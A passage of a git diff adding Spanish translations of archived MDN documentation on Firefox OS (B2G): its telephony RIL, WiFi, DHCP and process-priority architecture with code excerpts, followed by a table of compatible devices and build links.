+ <dd>Este proceso, también conocido como el <em><strong>proceso chrome</strong></em>, implementa Gecko. Las partes de el que se relacionan con la Capa de Interfaz de Radio son <a href="https://dxr.mozilla.org/mozilla-central/source/dom/system/gonk/ril_worker.js" rel="custom">dom/system/gonk/ril_worker.js</a>, las cuales implementan una cadena de procesos de trabajo (<em>worker thread</em>) que se comunica con <code>rild</code> a través de <code>rilproxy</code> es implementa el estadio radial (<em>radio state machine</em>) y la interfaz <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIRadioInterfaceLayer" title="">nsIRadioInterfaceLayer</a></code>, que es el servicio <a href="/en-US/docs/XPCOM" title="/en-US/docs/XPCOM">XPCOM</a> de la cadena de procesos principal, que actúa principalmente como un intercambio de mensajes entre la cadena <code>ril_worker.js</code> y otros numerosos componentes de Gecko, incluidos el proceso de contenido de Gecko.</dd>
+ <dt>Proceso de contenido de Gecko (<em>Gecko's content process</em>)</dt>
+ <dd>Dentro del proceso de contenido de Gecko, la interfaz <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIRILContentHelper" title="">nsIRILContentHelper</a></code> provee un servicio XPCOM que permite a algunas partes de código implementado de DOM, tales como las APIs<a href="/en-US/docs/API/WebTelephony" title="/en-US/docs/API/WebTelephony"> Telephony</a> y <a href="/en-US/docs/API/WebSMS" title="/en-US/docs/API/WebSMS">SMS</a>, comunicarse con la interfaz de radio, la cual es un proceso chrome.</dd>
+</dl>
+
+<h3 id="Ejemplo_comunicación_desde_rild_a_DOM">Ejemplo: comunicación desde rild a DOM</h3>
+
+<p>Echemos una mirada al ejemplo de cómo las partes del nivel inferior del sistema se comunican con código DOM. Cuando el módem recibe una llamada entrante, la notifica a <code>rild</code> empleando un mecanismo de fábrica. entonces<code> rild</code> prepara un mensaje para su cliente de acuerdo con el protocolo "open", que se describe en <a href="https://github.com/mozilla-b2g/android-hardware-ril/blob/master/include/telephony/ril.h" title="https://github.com/mozilla-b2g/android-hardware-ril/blob/master/include/telephony/ril.h"><code>ril.h</code></a>. En el caso de una llamada entrante, se genera un mensaje <code>RIL_UNSOL_RESPONSE_CALL_STATE_CHANGED</code> y lo envía <code>rild</code> a <code>rilproxy</code>.</p>
+
+<p><code>rilproxy</code>, implementada en <a href="https://github.com/mozilla-b2g/rilproxy/blob/master/src/rilproxy.c" title="https://github.com/mozilla-b2g/rilproxy/blob/master/src/rilproxy.c"><code>rilproxy.c</code></a>, recibe este mensaje en bucle principal, que envía (<em>poll</em>) la conexión a<code> rild</code> utilizando código como éste:</p>
+
+<pre class="brush:cpp;">ret = read(rilproxy_rw, data, 1024);
+
+if(ret &gt; 0) {
+  writeToSocket(rild_rw, data, ret);
+}</pre>
+
+<p>Una vez que el mensaje es recibido por <code>rild</code>, se lo reenvía a Gecko en el empalme que conecta <code>rilproxy</code> con Gecko. Gecko recibe el mensaje enviado en su <a href="https://dxr.mozilla.org/mozilla-central/source/ipc/ril/Ril.cpp" rel="custom">IPC thread</a>:</p>
+
+<pre class="brush:cpp;">int ret = read(fd, mIncoming-&gt;Data, 1024);
+// ... handle errors ...
+mIncoming-&gt;mSize = ret;
+sConsumer-&gt;MessageReceived(mIncoming.forget());
+</pre>
+
+<p>El consumidor de estos mensajes es <a href="https://dxr.mozilla.org/mozilla-central/source/dom/system/gonk/SystemWorkerManager.cpp" rel="custom">SystemWorkerManager</a>, que reempaqueta los mensajer y los envía a la cadena <code><a href="https://dxr.mozilla.org/mozilla-central/source/dom/system/gonk/ril_worker.js" rel="custom">ril_worker.js</a></code> que implementa la máquina de estado RIL; que se realia en the <code>RILReceiver::MessageReceived()</code> method:</p>
+
+<pre class="brush:cpp;">virtual void MessageReceived(RilRawData *aMessage) {
+  nsRefPtr dre(new DispatchRILEvent(aMessage));
+  mDispatcher-&gt;PostTask(dre);
+}</pre>
+
+<p>La tarea postada en esa cadena a su vez llama la función <code>onRILMessage()</code>, que se implemente en JavaScript. Esto se realiza empleando la función <code><a href="/en-US/docs/SpiderMonkey/JSAPI_Reference/JS_CallFunctionName" title="/en-US/docs/SpiderMonkey/JSAPI_Reference/JS_CallFunctionName">JS_CallFunctionName</a>()</code> de la API de JavaScript:</p>
+
+<pre>return JS_CallFunctionName(aCx, obj, "onRILMessage", NS_ARRAY_LENGTH(argv),
+                           argv, argv);</pre>
+
+<p><code>onRILMessage()</code> está implementada en <a href="https://dxr.mozilla.org/mozilla-central/source/dom/system/gonk/ril_worker.js" rel="custom">dom/system/gonk/ril_worker.js</a>, que procesa los bytes del mensaje y los corta en fragmentos. Cada fragmento completo se envía a métodos de gestión (<em>handler</em>) individuales apropiadamente:</p>
+
+<pre class="brush:js;">handleParcel: function handleParcel(request_type, length) {
+  let method = this[request_type];
+  if (typeof method == "function") {
+    if (DEBUG) debug("Handling parcel as " + method.name);
+    method.call(this, length);
+  }
+}
+</pre>
+
+<p>Este código trabaja por medio del tipo de petición (<em>request</em>) del objeto, asegurándose de que sea definido como una función en código de JavaScript, para después llamar al método. Ya que ril_worker.js implementa cada tipo de petición (<em>request type</em>) en un método con el mismo nombre que el tipo de petición, es muy sencillo.</p>
+
+<p>En nuestro ejemplo <code>RIL_UNSOL_RESPONSE_CALL_STATE_CHANGED</code>, se llama al siguiente <em>handler</em>:</p>
+
+<pre class="brush:js;">RIL[UNSOLICITED_RESPONSE_CALL_STATE_CHANGED] = function UNSOLICITED_RESPONSE_CALL_STATE_CHANGED() {
+  this.getCurrentCalls();
+};</pre>
+
+<p>Como puedes ver en el código de más arriba, cuando se recibe la notificación que el estado de la llamada ha cambiado, la máquina de estado (<em>state machine</em>) simplemente trae para sí el estado actual de la llamafa invocando el método <code>getCurrentCall()</code>:</p>
+
+<pre class="brush:js;">getCurrentCalls: function getCurrentCalls() {
+  Buf.simpleRequest(REQUEST_GET_CURRENT_CALLS);
+}</pre>
+
+<p>Esto envía una petición de vuelta a <code>rild</code> para solicitar el estado de todas las llamadas actuales. La petición regresa por un camino similar al que siguió el mensaje <code>RIL_UNSOL_RESPONSE_CALL_STATE_CHANGED</code> message pero en la dirección opuesta (es decir, desde <code>ril_worker.js</code> a <code>SystemWorkerManager</code> a <code>Ril.cpp</code>, después a <code>rilproxy</code> y finalmente al <code>rild</code> socket). <code>rild</code> responde por el camino inverso y la respuesta llega al handler de <code>ril_worker.js</code>'s handler para el mensaje <code>REQUEST_GET_CURRENT_CALLS</code>. Así es como se da lugar la comunicación bidireccional.</p>
+
+<p>El estado de la llamda se procesay compara con el estado previo; si hay un cambio de estado, ril_worker.js notifica al servicio <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIRadioInterfaceLayer" title="">nsIRadioInterfaceLayer</a></code> de la cadena principal:</p>
+
+<pre class="brush:js;">_handleChangedCallState: function _handleChangedCallState(changedCall) {
+  let message = {type: "callStateChange",
+                 call: changedCall};
+  this.sendDOMMessage(message);
+}</pre>
+
+<p>Se implementa <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIRadioInterfaceLayer" title="">nsIRadioInterfaceLayer</a></code> en <a href="https://dxr.mozilla.org/mozilla-central/source/dom/system/gonk/RadioInterfaceLayer.js" rel="custom">dom/system/gonk/RadioInterfaceLayer.js</a>; se recibe el mensaje por su método<code> onmessage()</code>:</p>
+
+<pre class="brush:js;"> onmessage: function onmessage(event) {
+   let message = event.data;
+   debug("Received message from worker: " + JSON.stringify(message));
+   switch (message.type) {
+     case "callStateChange":
+       // This one will handle its own notifications.
+       this.handleCallStateChange(message.call);
+       break;
+   ...
+</pre>
+
+<p>Lo que todo esto realmente hace es enviar el mensaje al proceso de contenidos empleando el Administrador de Mensajes de Procesos Principales [<em>Parent Process Message Manager</em> (PPMM)]:</p>
+
+<pre class="brush:js;">handleCallStateChange: function handleCallStateChange(call) {
+  [some internal state updating]
+  ppmm.sendAsyncMessage("RIL:CallStateChanged", call);
+}</pre>
+
+<p>En el proceso de contenidos, el mensaje es recibido por el método <code>receiveMessage()</code> en el servicio <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIRILContentHelper" title="">nsIRILContentHelper</a></code>, del Administrador de Mensajes de Procesos Secundarios [<em>Child Process Message Manager</em> (CPMM)]:</p>
+
+<pre class="brush:js;">receiveMessage: function receiveMessage(msg) {
+  let request;
+  debug("Received message '" + msg.name + "': " + JSON.stringify(msg.json));
+  switch (msg.name) {
+    case "RIL:CallStateChanged":
+      this._deliverTelephonyCallback("callStateChanged",
+                                     [msg.json.callIndex, msg.json.state,
+                                     msg.json.number, msg.json.isActive]);
+      break;</pre>
+
+<p>Esto, a su vez, llama a los métodos <code><a href="https://developer.mozilla.org/es/docs/XPCOM_Interface_Reference/nsIRILTelephonyCallback#callStateChanged()">nsIRILTelephonyCallback.callStateChanged()</a></code> de cada uno de los objetos registrados de las respuesta de telefonía (<em>registered telephony callback object</em>). Cada aplicación web que accede la API <a href="/es/docs/Web/API/Window/navigator/mozTelephony" title="La documentación acerca de este tema no ha sido escrita todavía . ¡Por favor  considera contribuir !"><code>window.navigator.mozTelephony</code></a> API ha registrado uno de ese tipo de objeto que envía los eventos al código JavaScript code en la aplicación web, así sea como un cambio de estado de un objeto de llamada existente o un nuevo evento de llamada <code>incoming</code>.</p>
+
+<pre class="brush:cpp;">NS_IMETHODIMP Telephony::CallStateChanged(PRUint32 aCallIndex, PRUint16 aCallState,
+                                          const nsAString&amp; aNumber, bool aIsActive) {
+  [...]
+
+  if (modifiedCall) {
+    // Change state.
+    modifiedCall-&gt;ChangeState(aCallState);
+
+    // See if this should replace our current active call.
+    if (aIsActive) {
+      mActiveCall = modifiedCall;
+    }
+
+    return NS_OK;
+  }
+
+  nsRefPtr call =
+          TelephonyCall::Create(this, aNumber, aCallState, aCallIndex);
+  nsRefPtr event = CallEvent::Create(call);
+  nsresult rv = event-&gt;Dispatch(ToIDOMEventTarget(), NS_LITERAL_STRING("incoming"));
+  NS_ENSURE_SUCCESS(rv, rv);
+  return NS_OK;
+}</pre>
+
+<p>Las aplicaciones pueden recibir estos eventos y actualizar su interfaz de usuario:</p>
+
+<pre class="brush:js;">handleEvent: function fm_handleEvent(evt) {
+  switch (evt.call.state) {
+    case 'connected':
+      this.connected();
+      break;
+    case 'disconnected':
+      this.disconnected();
+      break;
+    default:
+      break;
+  }
+}</pre>
+
+<p>Echa una mirada a la implementación de <a href="https://github.com/mozilla-b2g/gaia/blob/master/apps/communications/dialer/js/dialer.js" title="https://github.com/mozilla-b2g/gaia/blob/master/apps/communications/dialer/js/dialer.js"><code>handleEvent()</code> in the Dialer application</a> como un ejemplo más.</p>
+
+<h3 id="Datos_3G">Datos 3G</h3>
+
+<p>Hay un mensaje RIL que inicia una "petición de datos" al servicio móvil; este activa el modo de transferencia de datos en el modem. Esta petición de datos termina creando y activando una interfaz <a href="https://es.wikipedia.org/wiki/Point-to-Point Protocol" title="Point-to-Point Protocol">Point-to-Point Protocol</a> (PPP) en el kernel Linux que pueden ser configuradas usando las interfaces comunes.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Esta sección necesita ser redactada</p>
+</div>
+
+<h3 id="APIs_relacionadas_con_DOM">APIs relacionadas con DOM</h3>
+
+<p>Esta sección lista las APIs de DOM que estan relacionadas con comunicaciones RIL.</p>
+
+<ul>
+ <li><a href="/en-US/docs/API/WebTelephony/Introduction_to_WebTelephony" title="/en-US/docs/API/WebTelephony/Introduction_to_WebTelephony">Telephony API</a></li>
+ <li><a href="/en-US/docs/API/WebSMS/Introduction_to_WebSMS" title="/en-US/docs/API/WebSMS/Introduction_to_WebSMS">SMS API</a></li>
+ <li>Mobile Connection API</li>
+</ul>
+
+<h2 id="WiFi">WiFi</h2>
+
+<p>El backend de WiFi para Firefox OS simplemente usa wpa_supplicant para hacer la mayor parte del trabajo.<br>
+ Esto significa que el principal trabajo del backend es simplemente gestionar el <em>supplicant</em>, y hacer algunas tareas auxiliares como cargar el driver del WiFI y activar o desactivar la interfaz de red.<br>
+ En resumen, esto significa que el backend es una maquina de estados, con los estados que indican el estado del <em>supplicant.</em></p>
+
+<div class="note">
+<p><strong>Note:</strong> Muchas cosas interesantes que suceden en WiFi dependen profundamente de posibles cambios de estado en el proceso <code>wpa_supplicant</code>.</p>
+</div>
+
+<p>La implementación del componente WiFi esta dividida en dos archivos.</p>
+
+<dl>
+ <dt><a href="https://dxr.mozilla.org/mozilla-central/source/dom/wifi/DOMWifiManager.js" rel="custom">dom/wifi/DOMWifiManager.js</a></dt>
+ <dd>Implementa lo que la API muestra al contenido web, tal como esta definido en <code><a href="/es/docs/Mozilla/Tech/XPCOM/Reference/Interface/nsIWifi.idl" title="">nsIWifi.idl</a></code>.</dd>
+ <dt><a href="https://dxr.mozilla.org/mozilla-central/source/dom/wifi/WifiWorker.js" rel="custom">dom/wifi/WifiWorker.js</a></dt>
+ <dd>Implementa la máquina de estados y el código que controla el <em>supplicant.</em></dd>
+</dl>
+
+<p>Estos dos archivos se comunican con otro usando el <a href="https://developer.mozilla.org/en-US/docs/The_message_manager">gestor de mensajes.</a><br>
+ El backend escucha los mensajes que requieran una determinada acción, como "asociar" y responde con una mensaje cuando la acción requerida ha sido completada.</p>
+
+<p>El lado del DOM escucha los métodos de respuesta, asi como muchos mensajes de eventos que indican cambios de estado y actualización de información.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Algunas API's síncronas de DOM son implementadas leyendo datos en el otro extremo de la tubería. Los mensajes síncronos son evitados siempre que es posible</p>
+</div>
+
+<h3 id="WifiWorker.js">WifiWorker.js</h3>
+
+<p>Este archivo implementa la logica principal detras de la interfaz WiFi. Se ejecuta en el proceso chrome (en construcciones multiproceso) y es instanciado por el SystemWorkerManager. El fichero es generalmente dividido en dos secciones: una gigantesca funcion anonima y WifiWorker (y su prototipo). La funcion anonima termina siendo el WifiManager proveyendo una API local, incluyendo notificaciones para eventos como una conexion al supplicant y escaneando los resultados cuando estan disponibles. En general. este contiene la logica simple y manda a su control exclusivo de consumidor sus acciones mientras estas simplemente responden a la informacion requerida y controla los detalles de la conexion con el supplicant.</p>
+
+<p>El objeto WifiWorker se situa entre el WifiManager y el DOM. Este reacciona a eventos y los sigue al DOM; a su vez, este recibe las peticiones del DOM y realiza las acciones apropiadas en el supplicant. Este tambien mantiene informacion sobre el supplicant y lo siguiente que necesita hacer.</p>
+
+<h3 id="DOMWifiManager.js">DOMWifiManager.js</h3>
+
+<p>Este implementa la API de DOM, transmitiendo mensajes hacia atras y llamadas de regreso y el actual WiFi worker. Hay muy poca logica envuelta aqui.</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Para poder permitir mensajes sincronos al proceso chrome, el WiFi Manager necesita cachear el estado basado en el envio recibido.</p>
+</div>
+
+<p>Hay un solo mensaje sincrono, el cual es enviado en cuanto la API DOM se instancia, para poder obtener el estado actual del supplicant.</p>
+
+<h3 id="DHCP">DHCP</h3>
+
+<p>DHCP y DND van de la mano con dhcpcd, el cliente DHCP estandar en Linux.<br>
+ Sin embargo, este no permite reaccionar cuando la conexion de red se pierde.<br>
+ Por eso, Firefox OS mata y reinicia dhcpcd cada vez que se conecta a una red inalambrica dada.</p>
+
+<p><code>dhcpcd</code> es tambien responsable de ajustar la ruta por defecto; nosotros llamamos al gestor de redes para informar al kernel sobre los servidores DNS.</p>
+
+<h2 id="Gestor_de_Redes">Gestor de Redes</h2>
+
+<p>El Gestor de Redes configura las interfaces de red abiertas por los datos 3G y los componentes WiFi</p>
+
+<div class="note">
+<p><strong>Nota:</strong> Esto necesita ser redactado.</p>
+</div>
+
+<h2 id="Procesos_e_hilos">Procesos e hilos</h2>
+
+<p>Firefox OS usa los hilos de POSIX para implementar todos los hilos de las aplicaciones - esto incluye los hilos principales de cada aplicación asi como los trabajadores web y los hilos de ayuda. Los grupos de control son usados para priorizar procesos e hilos de ejecución que dependen del planificador completamente justo del kernel Linux. Dependiendo del estado del proceso le asignaremos un grupo de control distinto. Actualmente tenemos 6 niveles de prioridad correspondientes a 5 grupos de control</p>
+
+<table class="standard-table">
+ <caption>Process priority levels</caption>
+ <thead>
+  <tr>
+   <th scope="col">Priority</th>
+   <th scope="col">Nice</th>
+   <th scope="col">Used for</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>MASTER</code></td>
+   <td>0</td>
+   <td>proceso principal de b2g</td>
+  </tr>
+  <tr>
+   <td><code>FOREGROUND_HIGH</code></td>
+   <td>0</td>
+   <td>aplicaciones criticas que sostienen la cpu y el wakelock de alta prioridad.<br>
+    Este es actualmente reservado para el reloj y las aplicaciones de comunicacion</td>
+  </tr>
+  <tr>
+  </tr>
+  <tr>
+   <td><code>FOREGROUND</code></td>
+   <td>1</td>
+   <td>aplicaciones en primer plano</td>
+  </tr>
+  <tr>
+   <td><code>FOREGROUND_KEYBOARD</code></td>
+   <td>1</td>
+   <td>aplicacion de teclado</td>
+  </tr>
+  <tr>
+   <td><code>BACKGROUND_PERCEIVABLE</code></td>
+   <td>7</td>
+   <td>aplicaciones en segundo plano que ejecuten audio o sostengan la CPU o el wakelock de alta prioridad y tengan al menos un controlador de mensajes de sistema registrado</td>
+  </tr>
+  <tr>
+   <td><code>BACKGROUND_HOMESCREEN</code></td>
+   <td>18</td>
+   <td>aplicacion de pantalla principal</td>
+  </tr>
+  <tr>
+   <td><code>BACKGROUND</code></td>
+   <td>18</td>
+   <td>resto de aplicaciones que se ejecuten en segundo plano</td>
+  </tr>
+  <tr>
+   <td> </td>
+   <td> </td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Algunos niveles comparten el mismo grupo de control, esto es asi porque dichos niveles actualmente difieren en la manera que son tratados por el liberador de memoria. Todas las prioridades pueden ser ajustadas en tiempo de ejecucion mediante preferencias; las entradas relativas a esto se pueden encontrar en el <a href="http://hg.mozilla.org/mozilla-central/file/54e8c6492dc4/b2g/app/b2g.js#l610"><code>b2g/app/b2g.js</code></a> file.</p>
+
+<p>Actualmente se usan los siguientes grupos de control:</p>
+
+<table class="standard-table">
+ <caption>Grupos de Control</caption>
+ <tbody>
+  <tr>
+   <td><strong>Ruta</strong></td>
+   <td><strong>Ocupación de la CPU</strong></td>
+   <td><strong>Descripción</strong></td>
+  </tr>
+  <tr>
+   <td> </td>
+   <td>50% del tiempo total de CPU</td>
+   <td>Grupo de control de Root reservado para el proceso principal de b2g y los servicios del sistema</td>
+  </tr>
+  <tr>
+   <td>apps</td>
+   <td>50% del tiempo total de CPU</td>
+   <td>Aplicaciones comunes</td>
+  </tr>
+  <tr>
+   <td>apps/critical</td>
+   <td>95% de las apps</td>
+   <td>Aplicaciones criticas</td>
+  </tr>
+  <tr>
+   <td><code>apps/bg_perceivable</code></td>
+   <td>10% de las apps</td>
+   <td>Aplicaciones perceptibles en segundo plano</td>
+  </tr>
+  <tr>
+   <td><code>apps/bg_non_interactive</code></td>
+   <td>5% de las apps</td>
+   <td>Aplicaciones en segundo plano</td>
+  </tr>
+ </tbody>
+</table>
+
+<div class="note">
+<p><strong>Nota: </strong>para mas informacion sobre el liberador de memoria, y como Firefox OS gestiona las situaciones de memoria baja, lease <a href="https://developer.mozilla.org/en-US/Firefox_OS/Platform/Out_of_memory_management_on_Firefox_OS">Out of memory management on Firefox OS</a></p>
+</div>
+
+<p>Sin un proceso, el hilo principal hereda el "valor seguro" del proceso, mientras que los procesos web en curso toman un "valor seguro" que es un punto mas alto que el hilo principal, que corre la prioridad mas baja.<br>
+ Esto esta hecho para prevenir que los ciclos intensivos en curso de la CPU ralenticen excesivamente el hilo principal. Todos los hilos de una aplicación son actualmente asignados al mismo grupo de control. Las prioridades de los procesos son cambiadas cuando un evento importante sucede, como cuando una aplicación cambia de segundo plano al primer plano, o una nueva aplicación inicia, o una aplicación acapara la CPU.</p>
+
+<div class="note">
+<p><strong>Nota: </strong>los cgroups soportados en dispositivos ICS estan actualmente rotos debido a un bug del kernel.</p>
+</div>
+
+<p> </p>
diff --git a/files/es/archive/b2g_os/building_and_installing_boot_to_gecko/dispositivos_compatibles/index.html b/files/es/archive/b2g_os/building_and_installing_boot_to_gecko/dispositivos_compatibles/index.html
new file mode 100644
index 0000000000..009e1c5ab5
--- /dev/null
+++ b/files/es/archive/b2g_os/building_and_installing_boot_to_gecko/dispositivos_compatibles/index.html
@@ -0,0 +1,360 @@
+---
+title: Dispositivos compatibles
+slug: Archive/B2G_OS/Building_and_installing_Boot_to_Gecko/Dispositivos_compatibles
+translation_of: Archive/B2G_OS/Building_and_installing_B2G_OS/Compatible_Devices
+---
+<div class="note">
+<p>Instalar B2G OS en tu dispositivo es fácil con el <a href="https://developer.mozilla.org/en-US/docs/Mozilla/Firefox_OS/Building_and_installing_Firefox_OS/B2G_installer_add-on">instalador de B2G</a> (Add-on de Firefox)</p>
+</div>
+
+<div class="note">
+<p><strong>Nota</strong>: Todos los dispositivos tienen debajo de su nombre (ver el nombre). Por ejemplo para construir la imagen para Nexus 6 haz ./build.sh nexus-6-1. Los nombres en código de los dispositivos es proporcionado por los fabricantes. Puedes encontrar el archivo build.prop en una ROM stock.</p>
+</div>
+
+<h2 id="Dispositivos_de_Desarrollo">Dispositivos de Desarrollo</h2>
+
+<p>Estos dispositivos son de referencia oficial para el desarrollo de B2G</p>
+
+<table class="standard-table" style="height: 380px; width: 680px;">
+ <tbody>
+  <tr>
+   <td style="text-align: center;"><strong>Imagen</strong></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/13384/Z3C_B2G.png" style="height: 154px; width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12039/generic.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12039/generic.png" style="max-width: 133px;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><strong>Nombre<br>
+    (Versión android)</strong></td>
+   <td style="text-align: center;"><strong>Z3 Compact (Kitkat)</strong><br>
+    Sony Shinano platform</td>
+   <td style="text-align: center;"><strong>Z3</strong> <strong>(Kitkat)</strong><br>
+    Sony Shinano platform</td>
+   <td style="text-align: center;"><strong>Flame (Kitkat)</strong></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><strong>Nombre en código</strong></td>
+   <td style="text-align: center;">aries-kk</td>
+   <td style="text-align: center;">leo-kk</td>
+   <td style="text-align: center;">flame-kk</td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><strong>Información de construcción e instalación</strong></td>
+   <td style="text-align: center;"><a href="https://discourse.mozilla-community.org/t/building-b2g-os-for-aries-z3c/8082">https://discourse.mozilla-community.org/t/building-b2g-os-for-aries-z3c/8082</a></td>
+   <td style="text-align: center;"> </td>
+   <td style="text-align: center;"><a href="https://discourse.mozilla-community.org/t/flame-builds/8548">https://discourse.mozilla-community.org/t/flame-builds/8548</a></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><strong>Disponible en B2G Installer</strong></td>
+   <td style="text-align: center;">Sí</td>
+   <td style="text-align: center;">No</td>
+   <td style="text-align: center;">Sí</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Dispositivos_Soportados_por_la_Comunidad">Dispositivos Soportados por la Comunidad</h2>
+
+<p>Estos dispositivos son mantenidos por los esfurzos de la comunidad. ¡Siéntete libre de ayudar!</p>
+
+<div class="note">
+<p><span style="font-size: 14px;"><strong>La frecuencia de la distribución de las builds depende del número de voluntarios y del tiempo disponible.</strong></span></p>
+</div>
+
+<h3 id="Dispositivos_disponibles">Dispositivos disponibles</h3>
+
+<p>Estos dispositivos tienen builds disponible para ejecutar B2G:</p>
+
+<table class="standard-table" style="height: 380px; width: 355px;">
+ <tbody>
+  <tr>
+   <td style="text-align: center;"><strong>ImageN</strong></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12039/generic.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12035/nexus5.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/13665/WileyFoxSwift_B2G.png" style="height: 157px; width: 79px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12039/generic.png" style="max-width: 133px;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><strong>Nombre<br>
+    (Versión de Android)</strong></td>
+   <td style="text-align: center;"><strong>ZTE Open C</strong></td>
+   <td style="text-align: center;"><strong>Nexus 5</strong></td>
+   <td style="text-align: center;"><strong>WileyFox Swift</strong></td>
+   <td style="text-align: center;"><strong>Fairphone 2</strong></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><strong>Nombre en código</strong></td>
+   <td style="text-align: center;">openc-fr / openc-ebay</td>
+   <td style="text-align: center;"> </td>
+   <td style="text-align: center;">                       </td>
+   <td style="text-align: center;"> </td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><strong>Información de construcción e instalación</strong></td>
+   <td style="text-align: center;"><a href="https://discourse.mozilla-community.org/t/zte-open-c/8402/">https://discourse.mozilla-community.org/t/zte-open-c/8402/</a></td>
+   <td style="text-align: center;">
+    <p><a href="https://discourse.mozilla-community.org/t/test-b2gos-on-nexus-5/9405/1">https://discourse.mozilla-community.org/t/test-b2gos-on-nexus-5/9405/1</a></p>
+   </td>
+   <td style="text-align: center;"> </td>
+   <td style="text-align: center;">
+    <p><a href="https://discourse.mozilla-community.org/t/fairphone-2-build/8641/">https://discourse.mozilla-community.org/t/fairphone-2-build/8641/</a><br>
+     <a href="https://discourse.mozilla-community.org/t/fairphone-2-support-for-b2g-installer-landed/8334">https://discourse.mozilla-community.org/t/fairphone-2-support-for-b2g-installer-landed/8334</a></p>
+   </td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><strong>Disponible en B2G Installer</strong></td>
+   <td style="text-align: center;">
+    <p>No</p>
+
+    <p>(but a buildbot is available)</p>
+   </td>
+   <td style="text-align: center;">Sí</td>
+   <td style="text-align: center;">Sí</td>
+   <td style="text-align: center;">
+    <p>Dentro de poco.</p>
+
+    <p>Blobfull build working.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="En_progeso">En progeso</h3>
+
+<p>Trabajando en soporte para estos dispositivos.</p>
+
+<table class="standard-table" style="height: 380px; width: 680px;">
+ <tbody>
+  <tr>
+   <td style="text-align: center;"><strong>Imagen</strong></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12025/flamingo.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12017/amami.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"> </td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><strong>Nombre<br>
+    (Versión de Android)</strong></td>
+   <td style="text-align: center;"><strong>E3</strong><br>
+    Sony Yukon platform</td>
+   <td style="text-align: center;"><strong>Z1 Compact (Lollipop)</strong><br>
+    Sony Rhine platform</td>
+   <td style="text-align: center;"><strong>Xiaomi Redmi 1S</strong></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><strong>Nombre en código</strong></td>
+   <td style="text-align: center;">flamingo-l</td>
+   <td style="text-align: center;">amami-l</td>
+   <td style="text-align: center;">armani</td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><strong>Información de construcción e instalación</strong></td>
+   <td style="text-align: center;"><a href="https://discourse.mozilla-community.org/t/b2g-os-flamingo-sony-xperia-e3-builds/8361">https://discourse.mozilla-community.org/t/b2g-os-flamingo-sony-xperia-e3-builds/8361</a></td>
+   <td style="text-align: center;"><a href="https://discourse.mozilla-community.org/t/support-for-amami-xperia-z1c-building-debugging-providing-builds/8348">https://discourse.mozilla-community.org/t/support-for-amami-xperia-z1c-building-debugging-providing-builds/8348</a></td>
+   <td style="text-align: center;"><a href="https://discourse.mozilla-community.org/t/wip-xiaomi-redmi-1s-hongmi-1s/10273">https://discourse.mozilla-community.org/t/wip-xiaomi-redmi-1s-hongmi-1s/10273</a></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><strong>Estado de soporte</strong></td>
+   <td style="text-align: center;">Bloqueado, hay problemas con las herramientas de flasheo.</td>
+   <td style="text-align: center;">Versiones previas de pruebas.</td>
+   <td style="text-align: center;">Versiones previas de pruebas</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Dispositivos_con_posibilidad_de_portar_el_SO">Dispositivos con posibilidad de portar el SO</h2>
+
+<p>Esto es una lista de dispositivos con potencial para portar B2G, gracias a las versiones de AOSP y Cyanogen Mod disponibles, o porque soportaban versiones anteriores de Firefox OS hasta la versión 2.6</p>
+
+<div class="note">
+<p><strong>Nota:</strong> No hay ports para estos dispositivos, pero es posible construir B2G. Mira <a href="https://developer.mozilla.org/en-US/docs/Mozilla/B2G_OS/Building_and_installing_B2G_OS">la sección de cómo construir</a> para más información. Eres bienvenido para ayudar al mantenimiento de estas builds.</p>
+</div>
+
+<h3 id="Dispositivos_Nexus">Dispositivos Nexus</h3>
+
+<p>Estos dispositivos son (en parte) soportados por B2G porque son dispositivos de referencia de Google para AOSP</p>
+
+<table class="standard-table" style="height: 282px; line-height: 1.5; width: 451px;">
+ <tbody>
+  <tr>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12037/nexus6.png" style="max-width: 133px;"></td>
+   <td style="text-align: center;"><img alt="" src="https://mdn.mozillademos.org/files/12033/nexus4.png" style="max-width: 133px;"></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"><strong>Nexus 6</strong></td>
+   <td style="text-align: center;"><strong>Nexus 4</strong></td>
+  </tr>
+  <tr>
+   <td style="text-align: center;"> </td>
+   <td style="text-align: center;"> </td>
